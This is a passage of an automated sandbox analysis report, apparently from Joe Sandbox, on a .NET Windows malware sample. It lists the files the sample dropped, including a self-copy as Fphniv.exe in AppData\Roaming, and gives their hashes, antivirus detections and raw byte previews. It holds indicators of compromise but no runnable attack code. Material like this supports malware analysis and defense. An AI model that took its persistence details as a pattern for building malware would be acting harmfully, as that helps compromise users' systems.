SHA1:	B4E91E3935E5AD0E8714956321C701B8A7A14E57
SHA-256:	F4E86509DF5EF1B552E1B5D0C872249A86A9726BE60A79350CE383583AEA5BAF
SHA-512:	B0A779E8CCFE3302205BC034923968DF740CEA055F0F96C304B55F19031D986C939C444C82D36016CC6B76417112A34FB38185FB5A5C0148C7C6AF7756B1BC85
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.3.6.4.1.5.0.0.8.7.6.8.7.3.4.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.3.6.4.1.5.0.1.0.9.2.4.9.5.6.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.8.6.3.8.c.5.b.-.4.5.4.3.-.4.0.3.c.-.8.c.a.1.-.7.f.1.7.8.f.4.3.1.8.c.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.3.d.8.b.a.7.1.-.1.3.6.4.-.4.0.d.e.-.8.5.b.b.-.f.1.5.c.e.5.7.7.d.8.9.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.M.S.B.u.i.l.d...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.M.S.B.u.i.l.d...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.3.8.-.0.0.0.1.-.0.0.2.7.-.a.2.b.b.-.1.1.b.3.f.c.c.d.d.9.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.c.7.2.e.5.7.f.b.3.f.4.0.c.a.3.e.9.8.4.b.b.b.7.7.1.f.1.c.5.9.6.6.e.3.b.4.0.c.3.6.!.M.S.B.u.i.l.d...e.x.e.....T.a.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCD14.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Sun Aug 13 15:43:29 2023, 0x1205a4 type
Category:	dropped
Size (bytes):	756242
Entropy (8bit):	3.95144616627437
Encrypted:	false
SSDEEP:	12288:hpiU2VP/wiV4ir9n6MU9l5fAQxiplicOyUKFYYnnJ:gVgiafAQYp
MD5:	0C84FE0716AF87B278A2F02AB62EA738
SHA1:	73DFBBBAF64A056394B50623EEEAE5D13A588937
SHA-256:	C0A9F49E3383147D29C5D48767DAB7B8973E77F4E9F60773DDEFE5F3087D8F51
SHA-512:	8D8DA3D46234D07CC28D1EB3312C6A0DEB66D8C969768F381A1121EFC6ACFCEAA955806E86700B7C33776F9641C609940EEF8EFE52D4B85D478F4CB0241E223C
Malicious:	false
Preview:	MDMP....... .......!..d.........................#..........$............K..........................l.......8...........T...........p^...+...........z..........x\|...................................................................U...........B.......}......Lw.................pF...T.......8......d.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD35E.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6860
Entropy (8bit):	3.7320334069755083
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiAHHbwYZTSr+Cprc89b7DFf+pm:RrlsNiA0YNSb7BfB
MD5:	5F7292EA1318084168103652321447DA
SHA1:	AB4D98D4122C0103C4B79FB3A25573825184B3EC
SHA-256:	F4F8BB8079D639B76DD8552DAEBED935C9DC5A8CFB52ACFE18EABC0D840EC2B8
SHA-512:	804EC28DC1AEB1ED82D217606162E0E57F81B3C8478BD207FDD83E9609BC9E3D0229BB61CD0F1EDC261355D4F03E2CAD6052ECA6B02A7D395A4F9CC827A83D00
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.9.6.8.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD3FC.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4783
Entropy (8bit):	4.491082267159127
Encrypted:	false
SSDEEP:	48:cvIwSD8zsxJgtBI9aErWgc8sqYjw8fm8M4J0PFidyq8v28MGuLd:uITfDsEagrsqYBJLdWlMGuLd
MD5:	902183F167F22963A4F21C9A9C7A2306
SHA1:	DD9ED798F5216990CB0792EBE2DD21F5E2406F2E
SHA-256:	1FF5CA08BCCD55981CA4F2110C4AB6AB0A788DD7F3429F2708958D8533988142
SHA-512:	7BE4037E90FDEEB39BACF1CA5D2C0A437FB460502D274DEE47C564C7BC895A0281A0A317EFDF9846A80783B4F7CDABA4BF8567307BEADF315BF5A8068787AD8B
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="2171574" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREE72.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Sun Aug 13 15:44:43 2023, 0x1205a4 type
Category:	dropped
Size (bytes):	795890
Entropy (8bit):	3.8352161283748525
Encrypted:	false
SSDEEP:	6144:HcnwY84SJXynVP2CZGyu+/vWEuTSffvFdOjw8QUmj/IHARLoTSY9P:8nKaVP/wi3QSffvwPQUmdwS6P
MD5:	3528AE219C2EE0333FC1764A972E4EB7
SHA1:	B0EA0BE82E6815768A90A15567E8BA9ECA53759E
SHA-256:	22D4E99D60F954F04EC46B0CF77110D9B3400C9B8EE9C82BC64DE98844F7694F
SHA-512:	98B8656F6EB796FBB222DBE6E39B56C84A79AEFEF5F5178D94ED4C8F88BC682E5A3A62E9767AADD49D60C2FB734C39B5320776F5D2734FB535A4FEB937037667
Malicious:	false
Preview:	MDMP....... .......k..d............$............#..D.......$...$/.......K..H/.....................l.......8...........T...........p^...............{...........}...................................................................U...........B.......}......Lw..................c...T..............d............................. ..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREF0E.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Sun Aug 13 15:44:43 2023, 0x1205a4 type
Category:	dropped
Size (bytes):	744158
Entropy (8bit):	3.992925816576312
Encrypted:	false
SSDEEP:	6144:Dsxw6fewjWZ0DsnnVP2CZGyu+/IZNcfBrx8Q2ppkbh+o1u7l3o6:DsW/sD+VP/wiAZNcfQQ2ppq2lY6
MD5:	7C43135A0B5F514A7AFAE867F2EE1F10
SHA1:	F37CD6586827AD98EBD82E2FCCD1B4A3E0CEA282
SHA-256:	084D636E81482943A8141358E0C11014D18885926C6344A289022077800AE7B9
SHA-512:	1D46903D0741F23C148C1D46FF751AE017B4CFE25851960FB5440DF304C1ACCF4DE305F4C11047FD1B681C775289A37C7C619DAF01571BF77D5E310240EC699D
Malicious:	false
Preview:	MDMP....... .......k..d............d............#..........$...d........K.........................l.......8...........T........... ^..............\z..........H\|...................................................................U...........B.......\|......Lw.................#...T...........(..d............................. ..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF3F1.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8806
Entropy (8bit):	3.705447360406063
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNitEDlY6YnjYgmfZTSr+Cprck89b//BDf0XVm:RrlsNieu6YjYgmfNSA/5Dfh
MD5:	504D9A9FC0CFA32AF2BB5D8F1D00565F
SHA1:	B410298F42FAFC209A998F6771F00E2E792D4923
SHA-256:	03FFEC0A49D49BEEE1C52EF5A7B341777FFFAD0ABFC9D445EB7E172B86F38AA1
SHA-512:	5B6376CB76ED8F06279FBF0085E17DCFD209C395F832C218D707A7B6512C4586D8F9E598319E3933C5449E2309F0288FBA1BFD76DDF572B6EFDE2660F1EBAC51
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.0.0.8.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF420.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8814
Entropy (8bit):	3.7062240656977385
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiCWC6Y643gmfZTSr+Cpro89b/j7W9fhVm:RrlsNizC6Yt3gmfNSH/j70fq
MD5:	3297D8AC49532453AC7D16C305917048
SHA1:	D7A5A613CC514FC3F12D43BF54A6C5123E4C758F
SHA-256:	8B35C47332663E856DFAE8B7F1DE9553C1E9B92A09304DEF2109E055621F07FC
SHA-512:	2E38F474F023C180A9524756C135745FECE9EE94286F4064E32E0D0C95D063AFC12C817D74C94E146902E064728DDE7E99B1CE8FB39B8EF10AB5443F4A1A3FE0
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.5.1.2.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF450.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4783
Entropy (8bit):	4.491130587533069
Encrypted:	false
SSDEEP:	48:cvIwSD8zsqJgtBI9aErWgc8sqYjp8fm8M4J0PF7yq8v2UGuCd:uITf4sEagrsqYSJ+WtGuCd
MD5:	12C5BE195E2E4D0CDA39997F7529316E
SHA1:	21BECD613C7CAB91E9DF1CA32C2E2B1BF785A321
SHA-256:	5EB8BC2314979CC0075BBE0995B813BB3FE81476F91184FCAFF5A3C69FBF18B2
SHA-512:	B67DEF1F4609D9E1BDB77053C7459AAAC5F416327342CBD160BD4E2E63F8B75FC043F5AF267BDA06485708E3DC44B78F59CF037779E00D446B849860C4B81BE2
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="2171575" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF4BE.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4783
Entropy (8bit):	4.492895142652704
Encrypted:	false
SSDEEP:	48:cvIwSD8zsqJgtBI9aErWgc8sqYjh8fm8M4J0PFaAyq8v2dGuGd:uITf4sEagrsqYKJsWcGuGd
MD5:	7F60DE72766A4E49A75724D8A829C730
SHA1:	9F28C89FF722F4FB48A73335BCBF392686715042
SHA-256:	68606F4CC756E538DC4AC557F75C1ACBA9F31C3EF34B54E3BF34B6F912351298
SHA-512:	6CF58B6CE7E40B59355A9968D371453FB8D646C9634440A81CF8FB538F2B1B8CF4088EA7C0C213604001FCE4C281842D7763B9DBB6EF2BC9CA341844AD245AF9
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="2171575" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Fphniv.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\Fphniv.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1492
Entropy (8bit):	5.377982815009181
Encrypted:	false
SSDEEP:	24:ML9E4KSM1qE4GOA0E4KRKDE4KGKMKhPKIE4TKfN4KoZAE4KKU2A8WE49:MxHKSM1qHGX0HKRYHKG9oPtHTsN4hAHE
MD5:	9931CCD28974F3DC7126953740D27331
SHA1:	32F4F0A8261DCE28F7F46DB1FC375339FE46BD6D
SHA-256:	0446CBF52E8CA3643793A8266ECB77866C9C6146A2A9C97AD5CCEA106FDA2332
SHA-512:	C285299E14D7DF8F723E7565AF57E426559DA41871BF7036DBE6FE5C2A411D9DAA6E20C0B00219F6C177F5D0ECBC1A4F8C92A415215860B3FC4C7AE4BFD3F6FF
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\37a1d51f35918dd36a0d4e34cc91732e\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\7e5e0d92b127a5150606d81839f29044\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\028f9e8b0c8b1820df7bec952b01fe12\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\89bc329e8c65a9e13067c9776d925d78\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Kh25PMA7u8.exe.log

Download File

Process:	C:\Users\user\Desktop\Kh25PMA7u8.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1492
Entropy (8bit):	5.377982815009181
Encrypted:	false
SSDEEP:	24:ML9E4KSM1qE4GOA0E4KRKDE4KGKMKhPKIE4TKfN4KoZAE4KKU2A8WE49:MxHKSM1qHGX0HKRYHKG9oPtHTsN4hAHE
MD5:	9931CCD28974F3DC7126953740D27331
SHA1:	32F4F0A8261DCE28F7F46DB1FC375339FE46BD6D
SHA-256:	0446CBF52E8CA3643793A8266ECB77866C9C6146A2A9C97AD5CCEA106FDA2332
SHA-512:	C285299E14D7DF8F723E7565AF57E426559DA41871BF7036DBE6FE5C2A411D9DAA6E20C0B00219F6C177F5D0ECBC1A4F8C92A415215860B3FC4C7AE4BFD3F6FF
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\37a1d51f35918dd36a0d4e34cc91732e\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\7e5e0d92b127a5150606d81839f29044\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\028f9e8b0c8b1820df7bec952b01fe12\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\89bc329e8c65a9e13067c9776d925d78\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Roaming\Fphniv.exe

Download File

Process:	C:\Users\user\Desktop\Kh25PMA7u8.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	823296
Entropy (8bit):	7.882340686732169
Encrypted:	false
SSDEEP:	12288:+i5DaTB8MfGXNhvNnDUS8N88qR5dqffVWXwIxNRVNNQXDEcjcS5ig5xiKUyRG5:D5DaTBPf6VnQj6ZgUXwIjjb6pcSgKUy
MD5:	653246C59C4000245807A78407F44747
SHA1:	AA1BB17024D975F99094AF6A6F2175650509246F
SHA-256:	4CE76A43B7851DED0C83E9EAC860A3725BA68475430ED3DDEE4556657D6CDC41
SHA-512:	1BFC0D57FF1A6B3D16CE2B431AE26300E5988EF1F19978C2B2254CE5CC091E26397077A2D99A7EACFDA30088072B88551FCE0B59D83CF177DDC962D921CF15B9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32% Antivirus: Virustotal, Detection: 37%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...l..d................................. ....@...... ....................................`...@......@............... ..................................`............................................................................................ ..H............text........ ...................... ..`.rsrc...`...........................@..@........................................H...........@...........r...3..............................................(.......(.....0..{........(.... ....~8...{_...:....& ....8....8........E................8.....(.... ....8.....(....& ....~8...{T...:....& ....8........Vs....(....u....(......Z.(....u....(....(...+.z.(....u....r...p .......o......0.......... ........8........E........s...%...O...&.......6...8....8.... ....8......(.... ....8.....:G... ....8.....{....(.... ........8....8.... ....~8...{i...:w...& ....8l.

C:\Users\user\AppData\Roaming\Fphniv.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Kh25PMA7u8.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1572864
Entropy (8bit):	4.3784312721907375
Encrypted:	false
SSDEEP:	12288:wniZG0ubj7yAGLGn6aIZQaApK3pexGHbloXJMq60HzN5kMwQ1dPGiNVq:giZG0ubj7yAGLGdoy
MD5:	7511D75EA115094A28093CDFD626F20E
SHA1:	F74C1E47C00DBDCF709B8789643F9CCC95393DCA
SHA-256:	ABD380F1BFCCA43C95DDEFE05FADC42FB1FA4F9B281182ECD7A7327D8BC2D089
SHA-512:	6A6F11B41108505E3532DAF294B62DEBD0E5B7A8D9B5C714B8DDF49A17C3F0A3BC7DF817C27C9F7586B2C1B4F7DA6687F18B2F0B75F87D6B92568897A40CA47F
Malicious:	false
Preview:	regf........p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm^..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	2.966968583820449
Encrypted:	false
SSDEEP:	384:l8j5dsUeJnuo1TNQ8Wr5npGODzxST/8Er/ibK0ICo20US5:addfeJl5Q8Wr5n0IzxE8o/ibK0PoES
MD5:	115C938800AF0A5C339286AC81FFAED4
SHA1:	267C932952B266B71E1B0E47EB01FC9729809B58
SHA-256:	B56D53227EBBEF94AD2A5F81D3B6C214A9B1BFCD8007FA5164260E17E0535FBF
SHA-512:	5C1F25D14B2C1C5A3C75E88D827E625540AC568DF264420EEC54E02FF5306F9B41E4ABD5FE3BD1CB60139C4DFEED4AC6C87CC273DDDE2065C732CE366633FDAC
Malicious:	false
Preview:	regf........p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm^......................................................................................................................................................................................................................................................................................................................................................HvLE.^.....................n....B...E6.................@.......`..............hbin................p.\..,..........nk,.\|.9N........@........................... ...........................&...{ad79c032-a2ea-f756-e377-72fb9332c3ae}......nk .\|.9N........ ........................... .......Z.......................Root........lf......Root....nk ..~FP.....................}.............. ...............*...............DeviceCensus.......................vk..................WritePermissions

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.882340686732169
TrID:	Win64 Executable GUI Net Framework (217006/5) 49.88% Win64 Executable GUI (202006/5) 46.43% Win64 Executable (generic) (12005/4) 2.76% Generic Win/DOS Executable (2004/3) 0.46% DOS Executable Generic (2002/1) 0.46%
File name:	Kh25PMA7u8.exe
File size:	823'296 bytes
MD5:	653246c59c4000245807a78407f44747
SHA1:	aa1bb17024d975f99094af6a6f2175650509246f
SHA256:	4ce76a43b7851ded0c83e9eac860a3725ba68475430ed3ddee4556657d6cdc41
SHA512:	1bfc0d57ff1a6b3d16ce2b431ae26300e5988ef1f19978c2b2254ce5cc091e26397077a2d99a7eacfda30088072b88551fce0b59d83cf177ddc962d921cf15b9
